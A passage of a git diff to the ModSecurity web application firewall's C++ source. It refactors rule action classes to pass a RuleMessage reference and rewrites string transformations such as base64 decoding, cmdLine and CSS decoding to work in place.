return true; diff --git a/src/actions/msg.h b/src/actions/msg.h index 61661194ba..aca6731cad 100644 --- a/src/actions/msg.h +++ b/src/actions/msg.h @@ -34,14 +34,13 @@ namespace actions { class Msg : public Action { public: explicit Msg(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } explicit Msg(std::unique_ptr z) - : Action("msg", RunTimeOnlyIfMatchKind), + : Action("msg"), m_string(std::move(z)) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; std::string data(Transaction *Transaction); std::unique_ptr m_string; diff --git a/src/actions/multi_match.h b/src/actions/multi_match.h index b0fd2c767e..71fe288fe9 100644 --- a/src/actions/multi_match.h +++ b/src/actions/multi_match.h @@ -33,7 +33,7 @@ namespace actions { class MultiMatch : public Action { public: explicit MultiMatch(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; }; diff --git a/src/actions/no_audit_log.cc b/src/actions/no_audit_log.cc index e4a59f7361..eee999de9c 100644 --- a/src/actions/no_audit_log.cc +++ b/src/actions/no_audit_log.cc @@ -26,10 +26,9 @@ namespace modsecurity { namespace actions { -bool NoAuditLog::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { - rm->m_noAuditLog = true; - rm->m_saveMessage = false; +bool NoAuditLog::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { + ruleMessage.m_noAuditLog = true; + ruleMessage.m_saveMessage = false; return true; } diff --git a/src/actions/no_audit_log.h b/src/actions/no_audit_log.h index dbd5d098fb..d91b9fcdf4 100644 --- a/src/actions/no_audit_log.h +++ b/src/actions/no_audit_log.h @@ -33,10 +33,9 @@ namespace actions { class NoAuditLog : public Action { public: explicit NoAuditLog(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; }; } // namespace actions diff --git a/src/actions/no_log.cc b/src/actions/no_log.cc index 501ea4da4d..bb9c1fc573 100644 --- a/src/actions/no_log.cc +++ b/src/actions/no_log.cc @@ -29,9 +29,8 @@ namespace modsecurity { namespace actions { -bool NoLog::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { - rm->m_saveMessage = false; +bool NoLog::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { + ruleMessage.m_saveMessage = false; return true; } diff --git a/src/actions/no_log.h b/src/actions/no_log.h index 87d4e30593..2df753af27 100644 --- a/src/actions/no_log.h +++ b/src/actions/no_log.h @@ -31,10 +31,9 @@ namespace actions { class NoLog : public Action { public: explicit NoLog(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind) { } + : Action(action) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; }; } // namespace actions diff --git a/src/actions/phase.cc b/src/actions/phase.cc index 2e9e727786..1d17ec33c8 100644 --- a/src/actions/phase.cc +++ b/src/actions/phase.cc @@ -15,20 +15,15 @@ #include "src/actions/phase.h" -#include -#include - -#include "modsecurity/transaction.h" -#include "modsecurity/rule.h" -#include "modsecurity/modsecurity.h" +#include "modsecurity/rule_with_actions.h" #include "src/utils/string.h" -namespace modsecurity { -namespace actions { +namespace modsecurity::actions { + bool Phase::init(std::string *error) { - std::string a = utils::string::tolower(m_parser_payload); + const auto a = utils::string::tolower(m_parser_payload); m_phase = -1; try { @@ -77,5 +72,5 @@ bool Phase::evaluate(RuleWithActions *rule, Transaction *transaction) { return true; } -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions diff --git a/src/actions/phase.h b/src/actions/phase.h index 0fada3c3c5..7c81458440 100644 --- a/src/actions/phase.h +++ b/src/actions/phase.h @@ -32,7 +32,7 @@ namespace actions { class Phase : public Action { public: - explicit Phase(const std::string &action) : Action(action, ConfigurationKind), + explicit Phase(const std::string &action) : Action(action, Kind::ConfigurationKind), m_phase(0), m_secRulesPhase(0) { } diff --git a/src/actions/rev.cc b/src/actions/rev.cc index 43d8d1be46..6543a5dab1 100644 --- a/src/actions/rev.cc +++ b/src/actions/rev.cc @@ -15,16 +15,10 @@ #include "src/actions/rev.h" -#include -#include +#include "modsecurity/rule_with_actions.h" -#include "modsecurity/actions/action.h" -#include "modsecurity/transaction.h" -#include "modsecurity/rule.h" - -namespace modsecurity { -namespace actions { +namespace modsecurity::actions { bool Rev::init(std::string *error) { @@ -39,5 +33,4 @@ bool Rev::evaluate(RuleWithActions *rule, Transaction *transaction) { } -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions diff --git a/src/actions/rev.h b/src/actions/rev.h index 9e3c1bfb64..a023b42521 100644 --- a/src/actions/rev.h +++ b/src/actions/rev.h @@ -29,7 +29,7 @@ namespace actions { class Rev : public Action { public: - explicit Rev(const std::string &action) : Action(action, ConfigurationKind) { } + explicit Rev(const std::string &action) : Action(action, Kind::ConfigurationKind) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; bool init(std::string *error) override; diff --git a/src/actions/rule_id.cc b/src/actions/rule_id.cc index d16bf63bec..c7864707b7 100644 --- a/src/actions/rule_id.cc +++ b/src/actions/rule_id.cc @@ -15,14 +15,10 @@ #include "src/actions/rule_id.h" -#include -#include +#include "modsecurity/rule_with_actions.h" -#include "modsecurity/transaction.h" -#include "modsecurity/rule.h" -namespace modsecurity { -namespace actions { +namespace modsecurity::actions { bool RuleId::init(std::string *error) { @@ -54,5 +50,4 @@ bool RuleId::evaluate(RuleWithActions *rule, Transaction *transaction) { } -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions diff --git a/src/actions/rule_id.h b/src/actions/rule_id.h index 2e26f87f52..8f16c95e17 100644 --- a/src/actions/rule_id.h +++ b/src/actions/rule_id.h @@ -33,7 +33,7 @@ namespace actions { class RuleId : public Action { public: explicit RuleId(const std::string &action) - : Action(action, ConfigurationKind), + : Action(action, Kind::ConfigurationKind), m_ruleId(0) { } bool init(std::string *error) override; diff --git a/src/actions/set_env.cc b/src/actions/set_env.cc index e1c3afdba3..a14c0ad309 100644 --- a/src/actions/set_env.cc +++ b/src/actions/set_env.cc @@ -26,18 +26,17 @@ namespace modsecurity { namespace actions { -bool SetENV::init(std::string *error) { - return true; -} - - bool SetENV::evaluate(RuleWithActions *rule, Transaction *t) { std::string colNameExpanded(m_string->evaluate(t)); auto pair = utils::string::ssplit_pair(colNameExpanded, '='); ms_dbg_a(t, 8, "Setting environment variable: " + pair.first + " to " + pair.second); +#ifndef WIN32 setenv(pair.first.c_str(), pair.second.c_str(), /*overwrite*/ 1); +#else + _putenv_s(pair.first.c_str(), pair.second.c_str()); +#endif return true; } diff --git a/src/actions/set_env.h b/src/actions/set_env.h index 33ccfc3380..abdc6b5d13 100644 --- a/src/actions/set_env.h +++ b/src/actions/set_env.h @@ -36,11 +36,10 @@ class SetENV : public Action { : Action(_action) { } explicit SetENV(std::unique_ptr z) - : Action("setenv", RunTimeOnlyIfMatchKind), + : Action("setenv"), m_string(std::move(z)) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; - bool init(std::string *error) override; private: std::unique_ptr m_string; diff --git a/src/actions/set_rsc.cc b/src/actions/set_rsc.cc index 8464a9b688..5b31c0a163 100644 --- a/src/actions/set_rsc.cc +++ b/src/actions/set_rsc.cc @@ -26,11 +26,6 @@ namespace modsecurity { namespace actions { -bool SetRSC::init(std::string *error) { - return true; -} - - bool SetRSC::evaluate(RuleWithActions *rule, Transaction *t) { std::string colNameExpanded(m_string->evaluate(t)); ms_dbg_a(t, 8, "RESOURCE initiated with value: \'" diff --git a/src/actions/set_rsc.h b/src/actions/set_rsc.h index 5913b7c799..2264e82b88 100644 --- a/src/actions/set_rsc.h +++ b/src/actions/set_rsc.h @@ -36,11 +36,10 @@ class SetRSC : public Action { : Action(_action) { } explicit SetRSC(std::unique_ptr z) - : Action("setsrc", RunTimeOnlyIfMatchKind), + : Action("setsrc"), m_string(std::move(z)) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; - bool init(std::string *error) override; private: std::unique_ptr m_string; diff --git a/src/actions/set_sid.cc b/src/actions/set_sid.cc index c7a0db687a..4117d35120 100644 --- a/src/actions/set_sid.cc +++ b/src/actions/set_sid.cc @@ -26,11 +26,6 @@ namespace modsecurity { namespace actions { -bool SetSID::init(std::string *error) { - return true; -} - - bool SetSID::evaluate(RuleWithActions *rule, Transaction *t) { std::string colNameExpanded(m_string->evaluate(t)); ms_dbg_a(t, 8, "Session ID initiated with value: \'" diff --git a/src/actions/set_sid.h b/src/actions/set_sid.h index 64f8f3cc78..1048caef1c 100644 --- a/src/actions/set_sid.h +++ b/src/actions/set_sid.h @@ -36,11 +36,10 @@ class SetSID : public Action { : Action(_action) { } explicit SetSID(std::unique_ptr z) - : Action("setsid", RunTimeOnlyIfMatchKind), + : Action("setsid"), m_string(std::move(z)) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; - bool init(std::string *error) override; private: std::unique_ptr m_string; diff --git a/src/actions/set_uid.cc b/src/actions/set_uid.cc index 997df77b63..01f74b84b1 100644 --- a/src/actions/set_uid.cc +++ b/src/actions/set_uid.cc @@ -26,11 +26,6 @@ namespace modsecurity { namespace actions { -bool SetUID::init(std::string *error) { - return true; -} - - bool SetUID::evaluate(RuleWithActions *rule, Transaction *t) { std::string colNameExpanded(m_string->evaluate(t)); ms_dbg_a(t, 8, "User collection initiated with value: \'" diff --git a/src/actions/set_uid.h b/src/actions/set_uid.h index b8c3a0db74..49a36c1d7a 100644 --- a/src/actions/set_uid.h +++ b/src/actions/set_uid.h @@ -36,11 +36,10 @@ class SetUID : public Action { : Action(_action) { } explicit SetUID(std::unique_ptr z) - : Action("setuid", RunTimeOnlyIfMatchKind), + : Action("setuid"), m_string(std::move(z)) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; - bool init(std::string *error) override; private: std::unique_ptr m_string; diff --git a/src/actions/set_var.cc b/src/actions/set_var.cc index 6befdf0ccb..70c07d065d 100644 --- a/src/actions/set_var.cc +++ b/src/actions/set_var.cc @@ -35,11 +35,6 @@ namespace modsecurity { namespace actions { -bool SetVar::init(std::string *error) { - return true; -} - - bool SetVar::evaluate(RuleWithActions *rule, Transaction *t) { std::string targetValue; std::string resolvedPre; @@ -51,18 +46,12 @@ bool SetVar::evaluate(RuleWithActions *rule, Transaction *t) { std::string m_variableNameExpanded; auto *v = m_variable.get(); - variables::Tx_DynamicElement *tx = dynamic_cast< - variables::Tx_DynamicElement *> (v); - variables::Session_DynamicElement *session = dynamic_cast< - variables::Session_DynamicElement *> (v); - variables::Ip_DynamicElement *ip = dynamic_cast< - variables::Ip_DynamicElement *> (v); - variables::Resource_DynamicElement *resource = dynamic_cast< - variables::Resource_DynamicElement *> (v); - variables::Global_DynamicElement *global = dynamic_cast< - variables::Global_DynamicElement *> (v); - variables::User_DynamicElement *user = dynamic_cast< - variables::User_DynamicElement *> (v); + auto tx = dynamic_cast (v); + auto session = dynamic_cast (v); + auto ip = dynamic_cast (v); + auto resource = dynamic_cast (v); + auto global = dynamic_cast (v); + auto user = dynamic_cast (v); if (tx) { m_variableNameExpanded = tx->m_string->evaluate(t, rule); } else if (session) { diff --git a/src/actions/set_var.h b/src/actions/set_var.h index 5fe9de0329..e89e8be74e 100644 --- a/src/actions/set_var.h +++ b/src/actions/set_var.h @@ -59,7 +59,6 @@ class SetVar : public Action { m_variable(std::move(variable)) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; - bool init(std::string *error) override; private: SetVarOperation m_operation; diff --git a/src/actions/severity.cc b/src/actions/severity.cc index 8344e1052d..26c5056e71 100644 --- a/src/actions/severity.cc +++ b/src/actions/severity.cc @@ -71,13 +71,12 @@ bool Severity::init(std::string *error) { } -bool Severity::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { +bool Severity::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { ms_dbg_a(transaction, 9, "This rule severity is: " + \ std::to_string(this->m_severity) + " current transaction is: " + \ std::to_string(transaction->m_highestSeverityAction)); - rm->m_severity = m_severity; + ruleMessage.m_severity = m_severity; if (transaction->m_highestSeverityAction > this->m_severity) { transaction->m_highestSeverityAction = this->m_severity; diff --git a/src/actions/severity.h b/src/actions/severity.h index 32a223e005..4c03d32676 100644 --- a/src/actions/severity.h +++ b/src/actions/severity.h @@ -35,8 +35,7 @@ class Severity : public Action { : Action(action), m_severity(0) { } - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; bool init(std::string *error) override; int m_severity; diff --git a/src/actions/skip.h b/src/actions/skip.h index 71e5d7aa05..ee24abe7be 100644 --- a/src/actions/skip.h +++ b/src/actions/skip.h @@ -30,7 +30,7 @@ namespace actions { class Skip : public Action { public: explicit Skip(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_skip_next(0) { } bool init(std::string *error) override; diff --git a/src/actions/skip_after.h b/src/actions/skip_after.h index f7e0680d72..39b2c26967 100644 --- a/src/actions/skip_after.h +++ b/src/actions/skip_after.h @@ -31,7 +31,7 @@ namespace actions { class SkipAfter : public Action { public: explicit SkipAfter(const std::string &action) - : Action(action, RunTimeOnlyIfMatchKind), + : Action(action), m_skipName(std::make_shared(m_parser_payload)) { } bool evaluate(RuleWithActions *rule, Transaction *transaction) override; diff --git a/src/actions/tag.cc b/src/actions/tag.cc index 3b1b6fd539..120aba18dc 100644 --- a/src/actions/tag.cc +++ b/src/actions/tag.cc @@ -57,12 +57,11 @@ std::string Tag::getName(Transaction *transaction) { } -bool Tag::evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) { +bool Tag::evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) { std::string tag = getName(transaction); ms_dbg_a(transaction, 9, "Rule tag: " + tag); - rm->m_tags.push_back(tag); + ruleMessage.m_tags.push_back(tag); return true; } diff --git a/src/actions/tag.h b/src/actions/tag.h index 75369f5f7c..eb643cd5f6 100644 --- a/src/actions/tag.h +++ b/src/actions/tag.h @@ -33,13 +33,12 @@ namespace actions { class Tag : public Action { public: explicit Tag(std::unique_ptr z) - : Action("tag", RunTimeOnlyIfMatchKind), + : Action("tag"), m_string(std::move(z)) { } std::string getName(Transaction *transaction); - bool evaluate(RuleWithActions *rule, Transaction *transaction, - std::shared_ptr rm) override; + bool evaluate(RuleWithActions *rule, Transaction *transaction, RuleMessage &ruleMessage) override; protected: std::unique_ptr m_string; diff --git a/src/actions/transformations/base64_decode.cc b/src/actions/transformations/base64_decode.cc index 8ddfe23525..e71f81350a 100644 --- a/src/actions/transformations/base64_decode.cc +++ b/src/actions/transformations/base64_decode.cc @@ -13,33 +13,27 @@ * */ -#include "src/actions/transformations/base64_decode.h" +#include "base64_decode.h" -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/base64.h" +#include + + +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +bool Base64Decode::transform(std::string &value, const Transaction *trans) const { + if (value.empty()) return false; -std::string Base64Decode::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret = Utils::Base64::decode(value); + std::string transformedValue; + if (!Utils::Base64::decode(value, &transformedValue)) { + return false; + } - return ret; + value = std::move(transformedValue); + return true; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/base64_decode.h b/src/actions/transformations/base64_decode.h index a82276990b..8c97dbe87e 100644 --- a/src/actions/transformations/base64_decode.h +++ b/src/actions/transformations/base64_decode.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_BASE64_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_BASE64_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Base64Decode : public Transformation { public: - explicit Base64Decode(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_BASE64_DECODE_H_ diff --git a/src/actions/transformations/base64_decode_ext.cc b/src/actions/transformations/base64_decode_ext.cc index ee8e4b5b2c..0053358973 100644 --- a/src/actions/transformations/base64_decode_ext.cc +++ b/src/actions/transformations/base64_decode_ext.cc @@ -13,33 +13,27 @@ * */ -#include "src/actions/transformations/base64_decode_ext.h" +#include "base64_decode_ext.h" -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/base64.h" +#include + + +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +bool Base64DecodeExt::transform(std::string &value, const Transaction *trans) const { + if (value.empty()) return false; -std::string Base64DecodeExt::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret = Utils::Base64::decode_forgiven(value); + std::string transformedValue; + if (!Utils::Base64::decode_forgiven(value, &transformedValue)) { + return false; + } - return ret; + value = std::move(transformedValue); + return true; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/base64_decode_ext.h b/src/actions/transformations/base64_decode_ext.h index ad0efbdc0e..66b0678fa5 100644 --- a/src/actions/transformations/base64_decode_ext.h +++ b/src/actions/transformations/base64_decode_ext.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_BASE64_DECODE_EXT_H_ #define SRC_ACTIONS_TRANSFORMATIONS_BASE64_DECODE_EXT_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Base64DecodeExt : public Transformation { public: - explicit Base64DecodeExt(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_BASE64_DECODE_EXT_H_ diff --git a/src/actions/transformations/base64_encode.cc b/src/actions/transformations/base64_encode.cc index 8be748033c..24751b1910 100644 --- a/src/actions/transformations/base64_encode.cc +++ b/src/actions/transformations/base64_encode.cc @@ -13,33 +13,27 @@ * */ -#include "src/actions/transformations/base64_encode.h" +#include "base64_encode.h" -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/base64.h" +#include + + +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +bool Base64Encode::transform(std::string &value, const Transaction *trans) const { + if (value.empty()) return false; -std::string Base64Encode::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret = Utils::Base64::encode(value); + std::string transformedValue; + if (!Utils::Base64::encode(value, &transformedValue)) { + return false; + } - return ret; + value = std::move(transformedValue); + return true; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/base64_encode.h b/src/actions/transformations/base64_encode.h index 0f7fd1fe53..3c1d96f196 100644 --- a/src/actions/transformations/base64_encode.h +++ b/src/actions/transformations/base64_encode.h @@ -13,33 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_BASE64_ENCODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_BASE64_ENCODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class Base64Encode : public Transformation { public: - explicit Base64Encode(const std::string &action) : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_BASE64_ENCODE_H_ diff --git a/src/actions/transformations/cmd_line.cc b/src/actions/transformations/cmd_line.cc index 72087e36b9..8db1529dfb 100644 --- a/src/actions/transformations/cmd_line.cc +++ b/src/actions/transformations/cmd_line.cc @@ -13,30 +13,17 @@ * */ -#include "src/actions/transformations/cmd_line.h" +#include "cmd_line.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +bool CmdLine::transform(std::string &value, const Transaction *trans) const { + char *d = value.data(); + bool space = false; - -std::string CmdLine::evaluate(const std::string &value, - Transaction *transaction) { - std::string ret; - int space = 0; - - for (auto& a : value) { + for (const auto& a : value) { switch (a) { /* remove some characters */ case '"': @@ -52,9 +39,9 @@ std::string CmdLine::evaluate(const std::string &value, case '\t': case '\r': case '\n': - if (space == 0) { - ret.append(" "); - space++; + if (space == false) { + *d++ = ' '; + space = true; } break; @@ -62,26 +49,27 @@ std::string CmdLine::evaluate(const std::string &value, case '/': case '(': if (space) { - ret.pop_back(); + d--; } - space = 0; - ret.append(&a, 1); + space = false; + *d++ = a; break; /* copy normal characters */ default : char b = std::tolower(a); - ret.append(&b, 1); - space = 0; + *d++ = b; + space = false; break; } } - return ret; + const auto new_len = d - value.c_str(); + const auto changed = new_len != value.length(); + value.resize(new_len); + return changed; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/cmd_line.h b/src/actions/transformations/cmd_line.h index 851f29385f..27672b604b 100644 --- a/src/actions/transformations/cmd_line.h +++ b/src/actions/transformations/cmd_line.h @@ -13,35 +13,21 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_CMD_LINE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_CMD_LINE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class CmdLine : public Transformation { public: - explicit CmdLine(const std::string &action) - : Transformation(action) { } + using Transformation::Transformation; - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // modsecurity::namespace actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_CMD_LINE_H_ diff --git a/src/actions/transformations/compress_whitespace.cc b/src/actions/transformations/compress_whitespace.cc index 506de2483d..a9b31c962b 100644 --- a/src/actions/transformations/compress_whitespace.cc +++ b/src/actions/transformations/compress_whitespace.cc @@ -13,54 +13,36 @@ * */ -#include "src/actions/transformations/compress_whitespace.h" +#include "compress_whitespace.h" -#include -#include -#include -#include -#include -#include -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" +namespace modsecurity::actions::transformations { -namespace modsecurity { -namespace actions { -namespace transformations { +bool CompressWhitespace::transform(std::string &value, const Transaction *trans) const { + bool inWhiteSpace = false; -CompressWhitespace::CompressWhitespace(const std::string &action) - : Transformation(action) { - this->action_kind = 1; -} - -std::string CompressWhitespace::evaluate(const std::string &value, - Transaction *transaction) { + auto d = value.data(); - std::string a; - int inWhiteSpace = 0; - int i = 0; - - while (i < value.size()) { - if (isspace(value[i])) { + for(const auto c : value) { + if (isspace(c)) { if (inWhiteSpace) { - i++; continue; } else { - inWhiteSpace = 1; - a.append(" ", 1); + inWhiteSpace = true; + *d++ = ' '; } } else { - inWhiteSpace = 0; - a.append(&value.at(i), 1); + inWhiteSpace = false; + *d++ = c; } - i++; } - return a; + const auto new_len = d - value.c_str(); + const auto changed = new_len != value.length(); + value.resize(new_len); + return changed; } -} // namespace transformations -} // namespace actions -} // namespace modsecurity + +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/compress_whitespace.h b/src/actions/transformations/compress_whitespace.h index 184ddcfab1..8f74a3c1c1 100644 --- a/src/actions/transformations/compress_whitespace.h +++ b/src/actions/transformations/compress_whitespace.h @@ -13,34 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_COMPRESS_WHITESPACE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_COMPRESS_WHITESPACE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; +#include "transformation.h" -namespace actions { -namespace transformations { +namespace modsecurity::actions::transformations { class CompressWhitespace : public Transformation { public: + using Transformation::Transformation; - explicit CompressWhitespace(const std::string &action) ; - - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + bool transform(std::string &value, const Transaction *trans) const override; }; -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_COMPRESS_WHITESPACE_H_ diff --git a/src/actions/transformations/css_decode.cc b/src/actions/transformations/css_decode.cc index f808512385..41da9390ea 100644 --- a/src/actions/transformations/css_decode.cc +++ b/src/actions/transformations/css_decode.cc @@ -13,42 +13,13 @@ * */ -#include "src/actions/transformations/css_decode.h" +#include "css_decode.h" -#include - -#include -#include -#include -#include -#include -#include - -#include "modsecurity/transaction.h" -#include "src/actions/transformations/transformation.h" #include "src/utils/string.h" +using namespace modsecurity::utils::string; -namespace modsecurity { -namespace actions { -namespace transformations { - - -std::string CssDecode::evaluate(const std::string &value, - Transaction *transaction) { - - char *tmp = reinterpret_cast( - malloc(sizeof(char) * value.size() + 1)); - memcpy(tmp, value.c_str(), value.size() + 1); - tmp[value.size()] = '\0'; - - CssDecode::css_decode_inplace(reinterpret_cast(tmp), - value.size()); - - std::string ret(tmp, 0, value.size()); - free(tmp); - return ret; -} +namespace modsecurity::actions::transformations { /** @@ -58,15 +29,13 @@ std::string CssDecode::evaluate(const std::string &value, * http://www.w3.org/TR/REC-CSS2/syndata.html#q4 * http://www.unicode.org/roadmaps/ */ -int CssDecode::css_decode_inplace(unsigned char *input, int64_t input_len) { - unsigned char *d = (unsigned char *)input; - int64_t i, j, count; - - if (input == NULL) { - return -1; - } +static inline bool css_decode_inplace(std::string &val) { + const auto input_len = val.length(); + auto input = reinterpret_cast(val.data()); + auto d = input; + bool changed = false; - i = count = 0; + std::string::size_type i = 0; while (i < input_len) { /* Is the character a backslash? */ if (input[i] == '\\') { @@ -75,7 +44,7 @@ int CssDecode::css_decode_inplace(unsigned char *input, int64_t input_len) { i++; /* We are not going to need the backslash. */ /* Check for 1-6 hex characters following the backslash */ - j = 0; + std::string::size_type j = 0; while ((j < 6) && (i + j < input_len) && (VALID_HEX(input[i + j]))) { @@ -157,40 +126,45 @@ int CssDecode::css_decode_inplace(unsigned char *input, int64_t input_len) { } /* Move over. */ - count++; i += j; + + changed = true; } else if (input[i] == '\n') { /* No hexadecimal digits after backslash */ /* A newline character following backslash is ignored. */ i++; + changed = true; } else { /* The character after backslash is not a hexadecimal digit, * nor a newline. */ /* Use one character after backslash as is. */ *d++ = input[i++]; - count++; } } else { /* No characters after backslash. */ /* Do not include backslash in output *(continuation to nothing) */ i++; + changed = true; } } else { /* Character is not a backslash. */ /* Copy one normal character to output. */ *d++ = input[i++]; - count++; } } /* Terminate output string. */ *d = '\0'; - return count; + val.resize(d - input); + return changed; +} + + +bool CssDecode::transform(std::string &value, const Transaction *trans) const { + return css_decode_inplace(value); } -} // namespace transformations -} // namespace actions -} // namespace modsecurity +} // namespace modsecurity::actions::transformations diff --git a/src/actions/transformations/css_decode.h b/src/actions/transformations/css_decode.h index a6769bad39..c9b451f837 100644 --- a/src/actions/transformations/css_decode.h +++ b/src/actions/transformations/css_decode.h @@ -13,37 +13,20 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_ACTIONS_TRANSFORMATIONS_CSS_DECODE_H_ #define SRC_ACTIONS_TRANSFORMATIONS_CSS_DECODE_H_ -#ifdef __cplusplus -namespace modsecurity { -class Transaction; - -namespace actions { -namespace transformations { +#include "transformation.h" +namespace modsecurity::actions::transformations { class CssDecode : public Transformation { public: - explicit CssDecode(const std::string &action) - : Transformation(action) { } - std::string evaluate(const std::string &exp, - Transaction *transaction) override; + using Transformation::Transformation; - static int css_decode_inplace(unsigned char *input, int64_t input_len); + bool transform(std::string &value, const Transaction *trans) const override; }; - -} // namespace transformations -} // namespace actions -} // namespace modsecurity - -#endif +} // namespace modsecurity::actions::transformations #endif // SRC_ACTIONS_TRANSFORMATIONS_CSS_DECODE_H_ diff --git a/src/actions/transformations/escape_seq_decode.cc b/src/actions/transformations/escape_seq_decode.cc index 03303272ef..94df2269d5 100644 --- 